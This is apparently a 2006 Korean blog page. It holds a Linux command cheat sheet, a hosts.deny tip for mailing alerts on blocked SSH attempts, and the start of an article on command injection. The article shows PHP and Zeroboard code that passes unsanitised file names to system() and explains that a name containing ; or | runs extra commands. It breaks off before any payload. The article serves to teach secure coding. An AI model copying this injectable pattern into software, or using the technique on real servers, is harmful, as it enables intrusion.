      - . 파일 묶는 방법
     * tar [옵션] [기록 파일명] [묶일파일 or 디렉토리]...
     * $ tar cvf Test.tar Test text.txt
     * Test 디렉토리의 모든 파일과 text.txt 파일을 Test.tar라는 하나의 파일로 묶는다.
     * cv 옵션은 파일을 묶는다는 의미이고 f는 뒤에 기록파일명이 온다는 뜻
      - . 파일 푸는 방법
     * tar [옵션] [기록 파일명]
     * $ tar xvf Test.tar
     * Test.tar로 묶여진 기록 파일을 푼다.
     * xv 옵션은 파일을 푼다는 의미이다.
      - . 파일 압축과 복원
     * z 옵션은 사용하면 파일들을 압축하거나 해제할 수 있다.
     * 이때 쓸 수 있는 확장자가 tar.gz 혹은 .tar이다.
      - . 압축 방법
     * $ tar czvf Test.tar.gz Text text.txt
     * Text 디렉토리의 모든 파일과 text.txt 파일을 Test.tar로 묶은 후, Text.tar.gz파일로 압축한다.
      - . 복원 방법
     * $ tar xzvf Test.tar.gz
     * Test.tar.gz 파일의 압축을 풀고 묶음을 푼다.
      -. 잘못 풀린 tar파일 지우기
     * $ tar tfz filename.tar.gz | xargs rm
    ◈ gzip ========================================================  
      - . 옵션
     * gzip 파일이름    - 선택된 파일을 압축한다.
     * gzip -d 파일이름 - 선택된 파일을 해제한다.
      - . 하나의 파일을 압축할때 사용.
      - .  따라서 , 보통 tar로 여러 파일들을 묶은후에 tar파일을 압축한다.
      - . 확장자
     * gz     : gzip 프로그램을 사용하여 압축된 파일입니다
     * tar.gz : tar 프로그램을 사용하여 파일을 합친 후, 또 다시 gzip 을 사용하여 압축을 한 파일이라고 예상할 수 있겠지요?
     * tgz    : 위의 tar.gz 을 합쳐서 tgz라는 확장자로 만들 때도 있답니다.
      - . EX ) tar cvf access_20031125.tar access_log
     gzip access_20031125.tar

    ◈ w(what)=========================================================
    - 현재 system을 사용하고 있는 사용자들의 목록 및 무슨 작업을 하고 있는지 알 수 있다.
      9:50am  up 1 day, 23:55,  2 users,  load average: 0.00, 0.00, 0.00
    USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
    kang     tty1     -                Mon 9am 47:51m 10.70s 10.56s  ssh 211.XXX.176.XXX
    kang2  pts/0    192.XXX.0.XX      9:13am  0.00s  0.12s  0.01s  w
    ◈ grep  : 파일 내용 검색 (단어찾기)==================
     grep code *.jsp : 파일내의 code라는 단어를 찾아내는 명령어

    ◈ source : 변경된 환경 파일 적용시키기 =================
       source 파일이름 : 변경된 내용을 적용시키는 명령어

    ◈ rm  : 파일 , 폴더 삭제 ==================
      - . 파일 하나및 삭제 여부 확인하면서 삭제
       [root@mail mail]# rm hsgang
        rm: remove `hsgang'? y
      - . 파일 한꺼번에 삭제
       [root@mail mqueue]# \rm dfgB*
      - . 해당폴더및 하위폴더,파일 모두 삭제
       [root@mail mqueue]# rm -Rf test
      - . 다운 받은 파일을 untar를 잘못해서 현재 디렉토리에 모든 파일이 풀려질경우
       rm -rf `tar -tvf 문제화일.tar|awk {'print $6'}`
       tgz화일이면 -tvzf 를, bzip2 파일이면 -tvIf로 해결하실 수 있습니다. (디렉토리는 손수 삭제)
       그리고, 위에방법과 동일하게, ls를 이용하여 원하는 단어가 있는 list만 골라서 지우실 수도 있습니다.
        rm -rf `ls -a1|grep '찾을단어'`
     
    ◈ du,df : 하드웨어 사용상태 파악하기 =====================
      - . df : 파일 시스템 마다 사용상태 (df : disk free)
      - . du : 자세히 해당 유저별 파악(du : disk used)

        du -s /home/*/ | sort -nr
      - . [root@XXX src]# du --max-depth=1 /home/ 
      12      /home/aor1234
      12      /home
       [root@XXX src]# du --max-depth=1 /          
     5852    /bin
     2092    /boot
     564     /dev
     3504    /etc
     12      /home
     0       /initrd
     12248   /lib
     0       /misc
     0       /opt
       [root@XXX src]# du -hs (서브디렉토리내의 각각의 용량을 출력하지않고 전체용량만 출력)

    ◈ rpm package 사용하기 ====================================
    - . 기존 설치 리스트 보기
       rpm -qa |grep jdk
    - . 설치시
     [root@XXX src]# rpm -iUh jdk-1.3.1_03.i386.rpm
      ########################################### [100%]
    - . 기존 패키지 있을경우 삭제시
     [root@XXX src]# rpm -iUh jdk-1.3.1_03.i386.rpm
      ########################################### [100%]
      package jdk-1.3.1_03-fcs is already installed
    1: [root@XXX src]# rpm -e jdk
    2: [root@XXX src]# rpm -e --nodeps jdk
    (--nodeps : 의존성검사 안한상태 , jdk : jdk 관련된 패키지 삭제)

    ◈ cp (카피 명령어 사용하기)================================
    - . cp 명령시에 -af 옵션을 주면 link 와 퍼미션이 유지 된다.

    ◈ history (명령어 실행했던 기록 보기) ======================
       history |more

    ◈ w (접속자 리스트 알아내기) ===============================
     who라는 의미 , 어느 접속자가 어떤 명령어를 사용하고 있는지 알수잇다.
     [root@localhost root]# w
       7:45pm  up 8 days,  2:04,  2 users,  load average: 0.27, 0.26, 0.20
     USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
     root     tty1     -                 3Feb03  8days  0.01s  0.01s  -bash
     aora  pts/0    XXX.XX.XXX.XXX    7:43pm  0.00s  0.05s  0.01s  w

      ◈ finger -l (사용자에 대한 상세 정보 파악)=====================
     사용자에대한 상세한 내용을 볼수 있다.
     [root@localhost root]# finger -l
     Login: root                             Name: root
     Directory: /root                        Shell: /bin/bash
     On since Mon Feb  3 17:41 (KST) on tty1   8 days 2 hours idle
     New mail received Tue Feb 11 04:02 2003 (KST)
       Unread since Tue Feb  4 03:20 2003 (KST)
     No Plan.

     Login: aoa                          Name: XXX
     Directory: /home/aoa                Shell: /bin/bash
     On since Tue Feb 11 19:43 (KST) on pts/0 from 218.50.187.23
     No mail.
     No Plan.
      ◈ tty (자신의 터미널 정보를 파악) ==============================
     자신의 터미널 정보를 알수있다.
     [aoa@ftz aoa]$ tty
      ◈ ifconfig (자신의 IP정보 파악) ===============================
     자신의 ip관련 정보를 볼수있다.
     [trainer3@ftz trainer3]$ ifconfig
     eth0      Link encap:Ethernet  HWaddr 00:01:2B:20:13:DA
       inet addr:211.195.119.130  Bcast:211.195.119.191  Mask:255.255.255.192
       UP BROADCAST NOTRAILERS RUNNING  MTU:1500  Metric:1
       RX packets:862 errors:0 dropped:0 overruns:0 frame:0
       TX packets:191 errors:33 dropped:0 overruns:0 carrier:33
       collisions:3 txqueuelen:100
       Interrupt:12 Base address:0xe800  [trainer3@ftz trainer3]$
     /dev/pts/1
      ◈ write (상대방과 대화 하기) ==================================
     상대방과 대화할수있는 방법입니다.
     w 명령어를 통해서 로그인 한 사람의 아이디와 pts번호를 확인한다.
     trainer6 pts/11   61.74.26.3        6:27pm  8.00s  0.00s  0.00s  -sh
     write 명령의 사용법은 다음과 같습니다.
     \" write ID /dev/pts/pts번호 \"
     이제 우리는 새로 접속한 guest 에게 쪽지를 보내겠습니다.
     위에서 w 명령을 사용하여 나타난 guest의 pts의번호를 기억하실 겁니다.
     예를들어 w에서 나온 pts가 pts3 이었다면,\" write guest /dev/pts/3 \"
     라고 입력하면 됩니다. < write guest /dev/pts/번호 를 입력한다. >
     * 대화를 중지하려면 ctrl 키와 d 키를 동시에 누른다.
     [trainer3@ftz trainer3]$ write trainer6 /dev/pts/11
      ◈ wall (모든 사용자에게 메시지 보내기) =========================
     모든 사용자들에게 메시지를 보낸다.
     [trainer3@ftz trainer3]$ wall hi~ howare u?

      ◈ /etc/services : 서버 포트 정보============================
      * 해당 포트의 서비스내용 정보표시
      vi services 명령어로 /etc/services파일을 읽는다.

      ◈  netstat  : 서버 포트정보조회/열기============================
      네트워크상에서 request빈도 체크
      - . netstat -na --ip   => 포트당 연결 정보 알수 있다.
      - . ntsysv 명령어를 치고 해당 데몬을 선택 체크한후에 재부팅
      혹은 setup 명령어를 치고 System service에서 들어가서 체크후 재부팅한다     

      ◈  uptime : 서버의 부팅후 지금까지 시간체크=====================
    $uptime
      4:34pm  up  5:53,  4 users,  load average: 0.42, 0.38, 0.29
     man 페이지를 보면 아시겠지만 4:34pm은 현재 시스템의 시간, 5:53 은 시스템 가동 후 5시간 53분이 경과되었다는 뜻입니다.
       4users는 현재 접속 중인 사용자 수, load average 는 1분, 5분, 15분 동안 발생한 로드의 평균입니다

      ◈  vmstat 1 : 1초간격으로 모니터링============================
    전반적인 프로세스 모니터링 cpu및 memory, buffer, idle등을 프로세스별로 보여줌
     뒤의 옵션은 1초마다 업데이트 하라는 옵션. 옵션이 사용할경우 그냥 한번의 내용만 출력
     [root@www www]# vmstat 1
        procs                      memory    swap          io     system         cpu
      r  b  w   swpd   free   buff  cache  si  so    bi    bo   in    cs  us  sy  id
      0  0  0      0 832388  10564 117252   0   0     1     2  197   168   3   1  96
      1  0  0      0 831076  10564 117252   0   0     0     0  363   213   5   7  88
      3  0  0      0 833800  10564 117252   0   0     0     0  415   217   8   5  87

     다음은 열 표제(heading) 및 설명을 포함하는 vmstat 명령에 의해 작성된 보고서의 예입니다.

     kthr: 샘플링 간격 동안 초당 변경되는 커널 스레드 상태.

     r 수행 대기행렬에 있는 커널 스레드의 수.
     b 대기행렬에서 대기 중인 커널 스레드의 수(대기 중인 자원, 대기 중인 입력/출력).

     메모리: 가상 및 실제 메모리 사용에 대한 정보. 가상 페이지는 액세스될 경우에 활동 중인 것으로 간주됩니다. 1페이지는 4096바이트입니다.

     avm 사용 중인 가상 페이지.
     fre 사용 가능 리스트의 크기.
     주: 실제 메모리의 많은 부분이 파일 시스템 데이타를 위한 캐시로 이용됩니다. 사용 가능 리스트 크기의 양이 적게 남는 일은 드뭅니다.

     페이지: 페이지 결함 및 페이징 활동에 대한 정보. 이 정보는 간격에 지정된 기간동안의 평균이며 초 당 단위 수로 주어집니다.

     re 페이저 입력/출력 리스트.
     pi 페이징 공간에서 들어오는 페이지.
     po 페이징 공간으로 나가는 페이지.
     fr 사용 가능한 페이지(페이지 교체).
     sr 페이지 교체 알고리즘에 의해 스캔되는 페이지.
     cy 페이지 교체 알고리즘에 의한 시간 주기.

     결함 : 샘플링 간격동안 초당 평균 트랩 및 인터럽트 속도.

     in 디바이스 인터럽트.
     sy 시스템 호출.
     cs 커널 스레드 문맥 처리 정보(context) 전환.

     Cpu : CPU 시간에서 사용 장애율 퍼센트.

     us 사용자 시간.
     sy 시스템 시간.
     id CPU 유휴(idle) 시간.
     wa 현재 처리가 대기 중이고 보류하고 있는 디스크 입력/출력이 있는지 결정하는 CPU 주기. 

     디스크 : 동일한 샘플 간격으로 발생한 지정된 물리적 볼륨으로의 초당 전송 횟수를 제공합니다.
     PhysicalVolume 매개변수는 네 개의 이름 중 하나를 지정하는 데 사용할 수 있습니다.
     전송 통계는 지정된 순서에 따라 지정한 드라이브에 주어집니다.
     이 계수는 물리적 장치로 보내는 요청의 수입니다. 읽혀지거나 쓰여진 데이타의 양은 포함되지 않습니다.
     여러 개의 논리적 요청을 한 개의 물리적 요청으로 결합할 수 있습니다

      ◈  top    =====================================================
      cpu및 memory를 프로세스별로 점유율 확인

      ◈ 공유 메모리 정보보기======================================
    [aor1234@db ~]ipcs
    ------ Shared Memory Segments --------
    key       shmid     owner     perms     bytes     nattch    status     
    ------ Semaphore Arrays --------
    key       semid     owner     perms     nsems     status     
    ------ Message Queues --------
    key       msqid     owner     perms     used-bytes  messages   

    ◈ ps 명령어 (프로세스의 현재 상태를 표시합니다)==================
     USER       PID %CPU %MEM   VSZ  RSS TTY      STAT START   TIME COMMAND
      user - 사용자
      pid  - process ID
      %CPU - CPU 사용률
      %MEM - MEM 사용률
      vsz - 가상 메모리에 있는 프로세스의 10진 정수인 킬로바이트 단위 크기를 의미합니다.
         이 필드에 대한 디폴트 헤더는 VSZ입니다.
      tty - 프로세스의 제어 터미널 이름을 의미합니다. 이 필드에 대한 디폴트 헤더는 TT입니다.
      STAT - (s, u, v 플래그) 다음과 같은 프로세스 상태를 포함하고 있습니다.
         - 첫번째 필드
       R  : Runnable
       S  : Sleeping
       D  : uninterruptable
       T  : Stop or Trace
       Z  : Zombie process
         - 두번째 필드
       W  : process has no resident pages
         - 세번째 필드
       N  : process has a positive nice value
      START - 시작일(프로세스 시작일)
      TIME  - 프로세스 실행된 시간
      COMMAND - 실행된 명령어

    ◈ pstree 명령어 (트리구조로 프로세스의 구조를 파악)==============
    [ao234@www ao234]$ pstree
    init-+-AOServer---AOServer---17*[AOServer]
      |-AOServer2---AOServer2---2*[AOServer2]
      |-atd
      |-automount
      |-bdflush
      |-gpm
      |-idp_linux
      |-keventd
      |-klogd
      |-kreclaimd
      |-kreiserfsd
      |-kswapd
      |-kupdated
      |-libhttpd.ep---53*[libhttpd.ep]
      |-mdrecoveryd
      |-6*[mingetty]
      |-mpayd
      |-nessusd
      |-perl---sh---java---java---55*[java]
      |-portmap
      |-proftpd
      |-rpc.statd
      |-scsi_eh_2
      |-sendmail
      |-sshd---sshd---bash---pstree
      |-syslogd
      |-xfs
      `-xinetd

    ◈ date 시스템 날짜,시간 명령어===============================
       - . 시간 알기
       [ao@localhost ~]date
        Wed Jan 29 16:59:59 KST 2003
       - . 시간 설정
       [ao@localhost ~]date -s Wed Jan 29 16:59:59 KST 2003
    ◈ ping 설정 관련 ===========================================
       ping 접근 허용할지 설정 하는 부분
       /etc/sysctl.conf 파일의 내용

       ###########################################
       #아래부분에서 1을 0으로 바꾸시면됩니다.
       #Enable ignoring ping request
       net.ipv4.icmp_echo_ignore_all = 1
       ###########################################
       ###########################################
       #브로드케스트로의 핑거부를 하게설정 되어있습니다.
       #Enable ignoring broadcasts request
       net.ipv4.icmp_echo_ignore_broadcasts = 1
       ###########################################
     
      ◈ whoami ===========================================
     자신이 누구인지 알수 있습니다.
     [root@localhost root]# whoami
     root
      ◈ id ===========================================
     자신에 대한 보다 자세한 정보를 알수있습니다.
     [hsgang@mail hsgang]$ id
     uid=508(hsgang) gid=510(hsgang) groups=510(hsgang)
      ◈ cat /etc/passwd ===========================================
     모든 사용자에 대한 자세한 정보를 알수 있습니다.
     [hsgang@mail hsgang]$ cat /etc/passwd
     root:x:0:0:root:/root:/bin/bash
     orac:x:501:502::/home/orac:/bin/bash
     mys:x:502:503::/home/mys:/bin/bash
      ◈ uname ===========================================
     설치된 LINUX kernel 버젼 확인
     [hsgang@mail hsgang]$ uname -a
     Linux mail.XXXX.co.kr 2.4.2 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
      ◈ /etc/*release  ===========================================
     설치된 OS확인하기
     [hsgang@mail hsgang]$ cat /etc/*release
     Red Hat Linux  release 7.3 (Valhalla)
     [root@imgdb getty]# cat /etc/*release
     White Box Enterprise Linux release 3.0 (Liberation Respin 1)
      ◈ rpm -qa ===========================================
     설치된 패키지 리스트 및 버젼 보기
     [hsgang@mail hsgang]$ rpm -qa
     pygtk-devel-0.6.9-3
     pygtk2-devel-1.99.8-7
     sendmail-XXXXX
      ◈ /proc/cpuinfo  ===========================================
     [hsgang@mail hsgang]$ cat /proc/cpuinfo
     processor       : 0
     vendor_id       : GenuineIntel
     cpu family      : 6
     model           : 8
     model name      : Pentium III (Coppermine)
     stepping        : 3
     cpu MHz         : 601.371
     cache size      : 256 KB
     fdiv_bug        : no
     hlt_bug         : no
     f00f_bug        : no
     coma_bug        : no
     fpu             : yes
     fpu_exception   : yes
     cpuid level     : 2
     wp              : yes
     flags           : fpu vme de pse tsc msr pae mce cx8 sep mtrr pge mca cmov pat pse36 mmx fxsr sse
     bogomips        : 1199.30


      ◈ 프로세스 실행 방법 ===========================================
     - . foreground : 하나의 명령이 실행되어 결과를 출력할때까지 다른 명령을 수행 할 수 없다
     - . background : 하나의 명령을 수행시킨후 그 수행의 종료 이전에 다른 명령을 수행 하는 것
     ---> 명령어 끝에 &로 표시 (cc -o test1 test1.c &)

      ◈ ftp,sqlplus에서의 리눅스 명령어 실행 ======================
     - . SQL> !ls -al       --> 리눅스의 파일 검색을 한다.

      ◈ ln명령어 ======================
      ln -s /disk1/www/apache1.3.24/netian NETIAN

      ◈ env 명령어 ======================
       linux 환경 셋팅 값 보기
      [root@webserver apache_1.3.27]# env
      PWD=/usr/src/apache_1.3.27
      HOSTNAME=webserver
      CLASSPATH=:/usr/java/j2sdk1.4.1_02/lib/tools.jar
      LESSOPEN=|/usr/bin/lesspipe.sh %s
      USER=root
      LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:
      OLDPWD=/usr/src/apache_1.3.27/src
      MAIL=/var/spool/mail/root
      INPUTRC=/etc/inputrc
      BASH_ENV=/root/.bashrc
      LANG=ko_KR.eucKR
      LOGNAME=root
      SHLVL=1
      SHELL=/bin/bash
      USERNAME=root
      HISTSIZE=1000
      TERM=vt100
      HOME=/root
       PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/bin/X11:/usr/X11R6/bin:/root/bin:/root/bin:/usr/java/j2sdk1.4.1_02/bin
      JLESSCHARSET=ko
      _=/usr/bin/env

      ◈ cat EDITER =============================================
     * cat > test.txt (신규 파일 생성)
     ENTER --> 내용 입력 하기 ---> CTL+D 저장후 종료
     * cat >> test.txt (내용추가하기)
     ENTER --> 내용 입력 하기 ---> CTL+D 저장후 종료
     * cat test.txt (내용 보기)

      ◈ gcc 컴파일 하기 ========================================
     * gcc -o 프로그램이름 소스파일이름
     [trainer8@ftz trainer8]$ gcc -o program.exe program.c
     gcc -o 프로그램이름 소스파일이름

      ◈ ftp 명령어 ================================================
     ftp에서 인식하는 파일은 2가지 방식이 있다.
       일반적인 텍스트 파일은 아스키(ascii) 파일이고,
       기타 실행 파일이나 압축 파일들은 이진(binary)파일로 볼수있다.
       현재 default 설정은 아스키 (ascii) 파일
      * ftp> bin (이진 파일일 경우)
      * ftp> ascii (아스키 파일일 경우)
       - . 파일 다운 받기
      * ftp>get <파일 이름>
      * ftp>mget <파일 이름> <파일 이름> <파일 이름>
       ex)'mget *.tar.gz'
      * ftp>prompt  (파일 전송할때마다 묻지 않는다.)
        ftp>mget
       - . 파일 업로드 하기
      * ftp>put <파일 이름>
      * ftp>mput <파일 이름> <파일 이름> <파일 이름>
       - . 유닉상의 ftp 명령어
      * open        ftp> open <사이트 도메인 or IP>
        사이트 접속할때 사용하는 명령
      * bye, quit   ftp> bye or quit
        사이트 접속을 마칠때 사용하는 명령
      * ?, help     ftp> ? or help
        ftp의 도움말을 볼때 사용하는 명령
      * !           ftp> ! <local 명령어>
        local에 명령어를 부여할때 사용하는 명령
      * ascii, bin  ftp> ascii or bin
        파일 종류 설정할때 사용하는 명령
      * cd          ftp> cd <host 디렉토리명>
        host 디렉토리를 바꿀때 사용하는 명령
      * lcd         ftp> cd <local 디렉토리명>
        local 디렉토리를 바꿀때 사용하는 명령
      * dir, ls     ftp> dir or ls
        디렉토리 내용을 보여줄때 사용하는 명령
      * get         ftp> get <파일명>
        파일 하나를 전송받을때 사용하는 명령
      * put         ftp> put <파일명>
        파일 하나를 전송할때 사용하는 명령
      * mget        ftp> mget <파일명> 복수 선택 가능
        여러 개의 파일을 전송받을때 사용하는 명령
      * mput        ftp> mput <파일명> 복수 선택 가능
        여러 개의 파일을 전송할때 사용하는 명령
      * prompt      ftp> prompt
        mget이나 mput를 사용할때 파일하나를 전송할때마다
        메세지가 나오는데, 이 메세지를 나오지 않게 하는 명령
      * hash        ftp> hash
        파일을 전송할때 얼마 정도 전송되었는지 '#'로 표시되는 명령
      * pwd         ftp> pwd
        local에서 현재의 디렉토리를 나타낼때 사용하는 명령
      * type        ftp> type
        현재의 모드가 ascii인가 bin인가 확인하는 명령
      ◈ nslookup 명령어 ================================================
     [root@img root]# nslookup gettycenter.co.kr
     Note:  nslookup is deprecated and may be removed from future releases.
     Consider using the `dig' or `host' programs instead.  Run nslookup with
     the `-sil[ent]' option to prevent this message from appearing.
     Server:         168.126.63.1
     Address:        168.126.63.1#53
     
     Name:   gettycenter.co.kr
     Address: 218.50.54.26
    ◈ dmesg | more
     하드디스크이 제조사에서부터 펌웨어 버젼 용량까지 자세히 볼 수 있습니다.
    </pre>

    2006/09/08 12:55 2006/09/08 12:55
    이 글에는 트랙백을 보낼 수 없습니다
    Linux  2006/09/08 12:51
    출처 카페 > 네이버 리눅스 유저 그룹 / bloodntear
    원본 http://cafe.naver.com/linuxcare/531

    안녕하세요!

    점심 먹고 와서 잠시 들렸습니다.

    1센트짜리 팁을 말씀 드릴까 해서...,

    hosts.deny  ..., 다 아시죠?  tcp_wrapper 을 설정 할때 이용되는 파일이며

    위치는 /etc/hosts.deny  입니다.

    최근 경향은  패킷필터링을 이용해 보안작업을 많이 하지만 여전히 간단하게 그리고 강력하게

    이용할수 있는것이 tcp_wraper 이죠...,

    그럼 제 서버의 hosts.deny 파일 설정을 살펴 보겠습니다.

    sshd : ALL EXCEPT 211.115.2xx. : spawn echo \
    "login attempt from %c to %s" | mail -s \
    warning bloodntear@xxxx.co.kr






    위 설정을 자세히 말씀 드리면


    일단 sshd 에 대한 모든 접근을 막고    단! 211.115.2xx 대역만 풀며, spwan을 주어


    211.115.2xx 대역 외에 프레임에서 sshd 접속을 시도 할시  제 개인 메일로 경고메세지를


    발송 하도록 되어있습니다.


    위에서 %c는 클라이언트 정보이며  %s는 서버 정보입니다.


    그러니까 어느 썩을놈이 어디에 접근 했다라는 메일이 warning 이라는 제목으로 저에게 날아온다 이거죠.


    좀더 자세한 사항은


    man 5 hosts_access 를 참조 하여 주세요~


    자 이제 여러분이 다양하게 응용 해 보실 차례입니다. 헤헤헤


    수고 하십시오~



    덧니:  저번달 부터 심심해서 저렇게 설정 해 놓았더니만  하루에 3~4통의 메일이 오더군요.


    거의 대 부분이 외국에서 많이들 들어 오는데,  영어가 잘 안 되지만  메일을 보내서 따지면 답장이 오더군요....,  뭐 거의 대 부분 sorry... 죠


    근데 울나라는 ....,  감감 무소식이고...,


    뭐 그렇습니다.

    2006/09/08 12:51 2006/09/08 12:51
    이 글에는 트랙백을 보낼 수 없습니다
    Hacking  2006/09/08 12:51
    1) system, exec, passthru 함수 사용시 주의할점

    Cracker 가 Web Hacking 시에 가장 궁극적인 목적은 (원하는) 바로 System
    명령어 실행일 것이다. 개발자가 Web 프로그래밍을 할때 프로그램에 필요한 기능으로
    Language 에서 제공하는 System Execute Fucntion 을 사용하는 경우가 많이 있다.

    이러한 기능을 하는 Function 으로써, PHP 를 예를 들자면 system() 나 exec()
    Function 을 들 수 있다. 이와 같은 System Execute Function 들은 Web 에서
    System 으로 명령을 Execute 를 할 수 있게끔 도와준다. 그리고 실행되는
    Process 들의 권한은 현재 돌아가고 있는 WebServer 의 uid, gid, euid, guid 로
    실행된다. (프로세스가 가지는 것은 effective uid 이다.)

    uid (user identifier) 같은 것들은 like unix 에서 사용자를 구별하기 위해
    사용되는 숫자 또는 이름이다. like unix 에서는 보안을 위하여 uid 나 혹은
    euid 를 갖고 그 사용자의 권한을 Check 하는 경우가 많다.

    Web 어플리케이션 개발자로서 이러한 부분은 크게 신경쓰지 않아도 된다.
    실질적으로 Web 에서 System Execute 를 하였다고 하여도, 커널 내부적으로는
    보통의 uid 를 가진 user 가 Shell 상에서 System call 을 요청하는 것이랑 별반
    다를바가 없지만 Web 어플리케이션 개발자는 그런 깊숙한 부분은 신경쓸 필요가
    없다는 이야기이다. Web 어플리케이션 개발자는 Cracker 가 System 에 침입할 수
    없게끔 1 차 적인 보안 조취를 취하도록 프로그래밍을 하면 된다.

    그러면 실제로 Web 프로그래밍을 할시에 system(), exec() 같은 Function 을
    사용하는 경우는 어떤 경우인가. 가장 대표적인 예를 들자면 게시판을 들 수가
    있다. 예를 들어 사용자가 Upload Board 를 이용해 특정 자료를 Server 에
    올렸다고 하자. 그런데 자료 Upload 에 실수를 하여 게시물을 지우고자 할때는
    Delete 메뉴를 이용한다. Delete 메뉴를 이용하여 해당 게시물을 지우고,
    같이 올려진 파일도 지워야 한다. 예를 들어 다음과 같이 지운다고 하자.

    http://beist.org/delete.php?text=1.txt&file=1.zip

    /* delete.php 파일을 요청할때 argument 로 text 와 file 을 건내주었고
    그 값은 해당 게시물이 담긴 txt 파일과 Upload 시에 올린 자료명이다. */

    sample1.php

    <?

    /* 생략 */

    system("/bin/rm -f data/$text");
    system("/bin/rm -f data/$file");

    /* 생략 */

    ?>

    /* system() Function 을 이용하여 OS 내부에 있는 /bin/rm 이라는 프로그램을
    이용하여 data 디렉토리 밑의 1.txt 를 지우게 한 프로그램이다.
    /bin/rm 은 지우기를 시도하는 사용자의 ID 가 해당 지우려고 하는 파일의
    소유자와 일치할때 그 파일을 지워주는 프로그램이다. /bin/rm 을 실행할때
    준 -f 옵션은 force 의 의미로써 조건만 만족한다면 무조건 지우는 옵션을
    뜻한다. */

    sample1.php 에는 게시물 처리를 위하여 다른 부분도 필요하겠지만 여기서는
    이해를 쉽게 하기 위하여 프로그램에서 취약한 부분만을 적게 되었다.

    이런 식으로 Web CGI 에서 System Execute Function 은 이용된다. 그러면 이제
    실제로 존재하는 CGI 에서 System Execute Function 을 잘못 사용하였을때 일어
    나는 취약점을 알아보자.

    실제로 필자가 발견한 버그를 이용할 것이다. 해당되는 Web CGI 는 게시판으로
    유명한 Zeroboard 3.5.x 이다. 이 글을 쓰는 지금, Zeroboard 의 버전은 4.0.x
    버전까지 나와있지만 잘못된 System Execute Function 사용으로 인한 결과를
    설명하기에 적절한 코드인것 같아 이것으로 설명하겠다.


    문제가 되는 부분은 zeroboard 의 delete_list.php3 파일이다.

    delete_list.php3

    1 <?
    2 // 지금 삭제할려는 글의 데이타를 가져옴
    3 $data=mysql_fetch_array(mysql_query("select * from zeroboard_$id where
    4 no='$no'",$connect));
    5 // 이 글에 답글이 있는지 없는지를 검사
    6 $check=mysql_fetch_array(mysql_query("select count(*) from zeroboard_$id
    7 where headnum='$data[headnum]' and arrangenum>'$data[arrangenum]' and
    8 depth>'$data[depth]'", $connect));
    9 if($check[0]>0) Error("답글이 있는 글은 삭제할수 없습니다");
    10
    11 // 파일삭제
    12 if($data[file_name]||$data[file_name2])
    13 {
    14 @system("rm -rf data/$id/$data[reg_date]/$data[file_name]");
    15 @system("rm -rf data/$id/$data[reg_date]/$data[file_name2]");
    17 @system("rm -rf data/$id/$data[reg_date]");
    18 @unlink("data/$id/$data[reg_date]/$data[file_name]");
    19 @unlink("data/$id/$data[reg_date]/$data[file_name2]");
    20 @unlink("data/$id/$data[reg_date]");
    21 }
    22
    23 // 글 삭제
    24 mysql_query("delete from zeroboard_$id where no='$no'",$connect);
    25 mysql_query("delete from zeroboard_memo_$id where parent='$no'",$connect);
    26 $temp=mysql_fetch_array(mysql_query("select count(no) from zeroboard_$id",
    27 $connect));
    28 mysql_query("update $admin_table set total='$temp[0]' where name='$id'",
    29 $connect);
    30
    31 // 간단한 답글 삭제
    32 mysql_query("delete from $comment_table where table_name='$id' and parent='$no'",
    33 $connect);
    34 ?>

    이 script 의 기능은 특정 게시물을 지우는 것이다. 지울 때 file 도 같이 삭제를 한다.
    중요 취약성이 되는 부분은 14~17 라인이다. $data[file_name] 과 $data[file_name2]
    변수는 file name 이다.

    zeroboard 에서 upload 된 file 이 놓이는 위치는 data/$id/$data[reg_date] 이다.
    $id 는 board name 을 뜻하고 $data[reg_date] 는 게시물을 쓴 시간을 뜻한다.
    이 것들은 mysql database 에 담겨있으며 3 번째 라인에서처럼 가져와 $data 변수에
    담는다.

    file 을 지울때 System Execute Function 인 system 함수를 이용하는데 Cracker 는
    이를 이용하여 System 에 침입할 수가 있다.

    자세한 방법을 알아보자. Cracker 는 Write Form 에서 File upload 할때 File 의
    이름을 임의로 설정할 수 있다.

    write_main.php3

    1 <?
    2 // 자료실 사용시
    3 if($data[file_name])
    4 {
    5 $file_exist=$data[file_name]."파일이 등록되어 있습니다
    6 <br>";$file_del="<input type=checkbox name=del_file value=1> 삭제";
    7 }
    8 if($data[file_name2])
    9 {
    10 $file_exist2=$data[file_name2]."파일이 등록되어 있습니다<br>";
    11 $file_del2="<input type=checkbox name=del_file2 value=1> 삭제";
    12 }
    13 if($setup[use_pds])
    14 {
    15 ?>
    16 <tr>
    17 <td align=right>Upload File &nbsp;</td>
    18 <td><div style=line-height:160%>
    19 <? echo $file_exist;?> <input type=file name=file
    20 size=<?echo $size[8];?> maxlength=255 class=input>
    21 <? echo $file_del; ?><br>
    22 <? echo $file_exist2;?> <input type=file name=file2
    23 size=<?echo $size[8];?> maxlength=255 class=input>
    24 <? echo $file_del2; ?>
    25 </tr>
    26 <?
    27 }
    28 ?>

    위 소스는 write_main.php3 의 일부이다. 취약성이 되는 부분은 아니고 사용자가
    Write 버튼을 클릭했을때 보여주는 Write Form 이다. 13 번째 줄에서 Admin 이
    해당 게시판에 File Upload 를 허용했다면 16~25 줄까지의 내용을 뿌린다. 잠깐
    살펴보면

    <input type=file name=file size=200000000 maxlength=255 class=input>

    이 정도일 것이다. 우리는 이 필드를 이용하여 File 을 Upload 할 수 있는데,
    여기서 악의적인 조취를 취하면 Server 에 특정 Command 를 실행할 수 있다.

    delete_list.php3 에서 봤듯이 file 을 지울때 rm 을 이용하여 지우게 된다.
    이는 shell 을 사용한다는 것이다. ; 와 | 는 연속, 연결을 의미하니까 file
    name 에서 악의적인 file name 을 주면 cracker 는 원하는 일을 할 수 있다.

    ex)

